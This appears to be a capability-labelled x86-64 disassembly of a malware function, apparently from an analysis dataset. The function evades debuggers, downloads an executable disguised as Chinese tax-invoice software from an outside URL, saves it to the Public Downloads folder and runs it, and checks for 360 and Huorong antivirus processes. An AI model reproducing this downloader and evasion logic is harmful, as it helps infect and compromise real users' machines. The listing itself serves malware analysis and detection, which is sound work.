Function at 0x180008350
Capabilities:
Check os version
Create http request
Create process on windows
Create thread
Download and write a file
Enumerate processes
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x11c0]
mov eax, 0x12c0
call fcn.180012680
sub rsp, rax
xor r13d, r13d
lea rcx, str.Kernel32
mov dword [rbp + 0x1200], r13d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.CheckRemoteDebuggerPresent
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x1200]
call rbx
cmp dword [rbp + 0x1200], 1
je 0x180008d9a
mov r8d, 0x104
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x1800083f4
lea rdx, str.Error:_Unable_to_get_executable_name.
lea rcx, [0x18048a280]
call fcn.18000c960
mov rcx, rax
call fcn.18000cbe0
jmp 0x180008d9a
mov rdi, 0xffffffffffffffff
mov qword [rsp + 0x30], r13
mov r8, rdi
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], 7
lea rax, [rbp - 0x50]
inc r8
cmp word [rax + r8*2], r13w
jne 0x180008415
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x30]
call fcn.180002660
cmp qword [rsp + 0x48], 8
lea rbx, [rsp + 0x30]
mov r14, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
setae r15b
cmovae rbx, r14
test rsi, rsi
je 0x1800085cb
mov r12d, 0x100
lea rcx, [rbp + 0x1c0]
mov r8d, r12d
xor edx, edx
call fcn.1800144b0
lea rcx, [0x1800484d8]
lea rdx, [0x1800484da]
nop dword [rax + rax]
movzx eax, word [rcx]
cmp ax, r12w
jae 0x1800084d2
movzx eax, al
add rcx, 2
mov byte [rbp + rax + 0x1c0], 1
cmp rcx, rdx
jne 0x180008480
lea rcx, [rsi - 1]
mov rax, rdi
cmp rcx, rax
cmovb rax, rcx
lea rcx, [rbx + rax*2]
nop
movzx eax, word [rcx]
cmp ax, r12w
jae 0x1800084c3
cmp byte [rbp + rax + 0x1c0], r13b
jne 0x180008520
cmp rcx, rbx
je 0x1800085cb
sub rcx, 2
jmp 0x1800084b0
lea rcx, [rsi - 1]
mov rax, rdi
cmp rcx, rax
cmovb rax, rcx
lea rcx, [rbx + rax*2]
nop dword [rax]
nop dword [rax + rax]
movzx r8d, word [rcx]
lea rax, [0x1800484d8]
mov edx, 1
cmp word [rax], r8w
je 0x180008520
add rax, 2
sub rdx, 1
jne 0x180008500
cmp rcx, rbx
je 0x18000851b
sub rcx, 2
jmp 0x1800084f0
mov rcx, rdi
jmp 0x180008526
sub rcx, rbx
sar rcx, 1
cmp rcx, rdi
je 0x1800085cb
inc rcx
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], 7
cmp rsi, rcx
jb 0x180008dbd
sub rsi, rcx
lea rax, [rsp + 0x30]
cmp rsi, rdi
cmovb rdi, rsi
test r15b, r15b
mov r8, rdi
cmovne rax, r14
lea rdx, [rax + rcx*2]
lea rcx, [rsp + 0x50]
call fcn.180002660
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x1800085b7
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800085b2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008db7
call fcn.180011de8
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm1
mov r8d, 7
mov qword [rbp - 0x70], r13
lea rdx, str.huorong
mov qword [rbp - 0x60], r13
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x58], 7
call fcn.180002660
lea rcx, [rsp + 0x70]
call fcn.180007680
mov r14, qword [rbp - 0x60]
movabs rcx, 0x7ffffffffffffffe
mov rsi, qword [rbp - 0x80]
mov rax, rcx
sub rax, r14
cmp rax, rsi
jb 0x180008dc3
cmp qword [rbp - 0x58], 8
lea r12, [rbp - 0x70]
lea r13, [rsp + 0x70]
mov qword [rsp + 0x50], 0
cmovae r12, qword [rbp - 0x70]
lea r15, [r14 + rsi]
cmp qword [rbp - 0x78], 8
lea rdi, [rsp + 0x50]
mov ebx, 7
cmovae r13, qword [rsp + 0x70]
cmp r15, rbx
jbe 0x1800086ef
cmp r15, 8
mov rbx, r15
cmovb rbx, qword [0x180049470]
or rbx, 7
cmp rbx, rcx
jbe 0x18000867e
mov rbx, rcx
mov rcx, 0xfffffffffffffffe
jmp 0x1800086ad
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x180008dcf
add rcx, rcx
cmp rcx, 0x1000
jb 0x1800086d9
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180008dcf
mov rcx, rax
call fcn.180011df0
test rax, rax
je 0x180008db7
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1800086ea
test rcx, rcx
je 0x1800086e8
call fcn.180011df0
mov rdi, rax
jmp 0x1800086ea
xor edi, edi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x68], rbx
mov rdx, r12
lea rbx, [r14 + r14]
mov qword [rsp + 0x60], r15
mov r8, rbx
mov rcx, rdi
call fcn.180013e00
lea rcx, [rbx + rdi]
mov rdx, r13
lea r8, [rsi + rsi]
call fcn.180013e00
xor r14d, r14d
mov word [rdi + r15*2], r14w
mov rdx, qword [reloc.OLEAUT32.dll_VariantInit]
cmp rdx, 8
jb 0x180008769
mov rcx, qword [0x1804894d0]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x180008764
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180008db7
mov rcx, r8
call fcn.180011de8
movups xmm0, xmmword [rsp + 0x50]
lea rcx, [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [0x1804894d0], xmm0
movups xmmword [0x1804894e0], xmm1
call fcn.180005f00
mov rdi, qword [rsp + 0x48]
lea rcx, [rsp + 0x30]
mov rbx, qword [rsp + 0x30]
lea r9, str.kp6019
mov rsi, qword [rsp + 0x40]
cmp rdi, 8
mov rdx, rsi
mov qword [rsp + 0x20], 6
cmovae rcx, rbx
call fcn.180002c50
cmp rax, 0xffffffffffffffff
je 0x180008952
mov r8d, 0x20
mov qword [rsp + 0x50], r14
lea rdx, str.C:UsersPublicDownloadskp.exe
mov qword [rsp + 0x60], r14
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x68], 7
call fcn.180002660
xor r9d, r9d
mov dword [rbp + 0x1200], 1
xor r8d, r8d
mov dword [rsp + 0x20], r14d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x1800088db
mov qword [rsp + 0x28], r14
lea rdx, str.https:__www.aisinoha.com_Media_Default__E4_B8_8B_E8_BD_BD_E4_B8_AD_E5_BF_83__E9_98_B2_E4_BC_AA_E7_A8_8E_E6_8E_A7__E5_A2_9E_E5_80_BC_E7_A8_8E_E5_8F_91_E7_A5_A8_E7_A8_8E_E6_8E_A7_E5_BC_80_E7_A5_A8_E8_BD_AF_E4_BB_B6_EF_BC_88_E9_87_91_E7_A8_8E_E7_9B_98_E7_89_88V2.0.65_ZS_20240428_EF_BC_89_240425_.exe
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x1800088d2
cmp qword [rsp + 0x68], 8
lea rcx, [rsp + 0x50]
lea rdx, [0x180048d1c]
cmovae rcx, qword [rsp + 0x50]
call fcn.18001e32c
mov rdi, rax
test rax, rax
je 0x1800088c9
cmp dword [rbp + 0x1200], r14d
jbe 0x1800088c1
lea r9, [rbp + 0x1200]
mov r8d, 0xfff
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r8d, dword [rbp + 0x1200]
lea rcx, [rbp + 0x1c0]
mov r9, rdi
mov edx, 1
call fcn.18001f588
cmp dword [rbp + 0x1200], r14d
ja 0x180008880
mov rcx, rdi
call fcn.18001eac4
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x18000891d
mov rcx, qword [rsp + 0x50]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008918
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008dc9
call fcn.180011de8
mov dword [rsp + 0x28], 5
lea r8, str.C:UsersPublicDownloadskp.exe
xor r9d, r9d
mov qword [rsp + 0x20], r14
lea rdx, [0x180049418]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
cmp rdi, 8
mov qword [rsp + 0x20], 6
lea rcx, [rsp + 0x30]
mov rdx, rsi
cmovae rcx, rbx
lea r9, str.cc6019
call fcn.180002c50
cmp rax, 0xffffffffffffffff
je 0x1800089a4
mov qword [rsp + 0x28], r14
lea r8, [0x180008320]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3c
call fcn.180011e2c
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, rsi
call fcn.180001f10
xor edx, edx
lea rcx, [rbp + 0x1c4]
mov r8d, 0x118
mov edi, r14d
call fcn.1800144b0
lea rcx, [rbp + 0x1c0]
mov dword [rbp + 0x1c0], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x180008ae4
cmp dword [rbp + 0x1d0], 2
jne 0x180008ae4
cmp dword [rbp + 0x1c4], 5
jbe 0x180008ae4
mov qword [rbp + 0x1208], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x1208]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180008ae4
mov rcx, qword [rbp + 0x1208]
lea rax, [rbp + 0x1200]
xor r9d, r9d
mov dword [rbp + 0x1200], r14d
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x19]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x180008ad7
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x180008ad7
mov edx, dword [rbp + 0x1200]
lea ecx, [rax - 0x3a]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x180008ad7
mov r9d, dword [rbp + 0x1200]
lea rax, [rbp + 0x1200]
mov rcx, qword [rbp + 0x1208]
mov r8, rbx
mov edx, 0x19
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x180008ace
mov rcx, qword [rbx]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov rcx, qword [rbx]
movzx edx, byte [rax]
dec edx
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov edi, dword [rax]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rbp + 0x1208]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call fcn.180011de8
cmp edi, 0x3000
jne 0x180008c9a
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180008b74
xor edx, edx
lea rcx, [rbp + 0x1c4]
mov r8d, 0x234
call fcn.1800144b0
lea rdx, [rbp + 0x1c0]
mov dword [rbp + 0x1c0], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180008b6b
nop
lea rdx, str.360Tray.exe
lea rcx, [rbp + 0x1ec]
call fcn.18001e57c
mov rcx, rbx
test eax, eax
je 0x180008b7e
lea rdx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180008b40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.180007860
jmp 0x180008ccd
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea rcx, [rbp + 0x1c4]
mov r8d, pe_nt_image_headers64
call fcn.1800144b0
lea rcx, [0x180048be8]
mov dword [rbp + 0x1c0], 0x114
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x180008c93
lea rdx, [0x180048c00]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180008c93
lea rcx, [rbp + 0x1c0]
call rax
cmp dword [rbp + 0x1c4], 6
jne 0x180008c93
cmp dword [rbp + 0x1c8], 1
jne 0x180008c93
call fcn.180007dd0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180008b74
xor edx, edx
lea rcx, [rbp + 0x1c4]
mov r8d, 0x234
call fcn.1800144b0
lea rdx, [rbp + 0x1c0]
mov dword [rbp + 0x1c0], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180008b6b
lea rdx, str.360Tray.exe
lea rcx, [rbp + 0x1ec]
call fcn.18001e57c
mov rcx, rbx
test eax, eax
je 0x180008c8d
lea rdx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180008c52
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.180007860
jmp 0x180008ccd
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.180008020
jmp 0x180008ccd
lea r9, [rbp - 0x50]
mov edx, 0x104
lea r8, str.59__s
lea rcx, [rbp + 0x1c0]
call fcn.180004e90
lea rcx, [rbp + 0x1c0]
call fcn.180002100
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, qword [rbp - 0x78]
cmp rdx, 8
jb 0x180008d0e
mov rcx, qword [rsp + 0x70]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008d09
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008db7
call fcn.180011de8
mov rax, qword [rbp - 0x58]
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], r14w
cmp rax, 8
jb 0x180008d5c
mov rcx, qword [rbp - 0x70]
lea rdx, [rax*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008d57
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008db7
call fcn.180011de8
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x180008d9a
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008d95
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008db7
call fcn.180011de8
mov rbx, qword [rsp + 0x1310]
xor eax, eax
add rsp, 0x12c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.180018f64
int3
call fcn.180002860
int3
call fcn.180001a60
int3
call fcn.180018f64
int3
call fcn.1800019c0
int3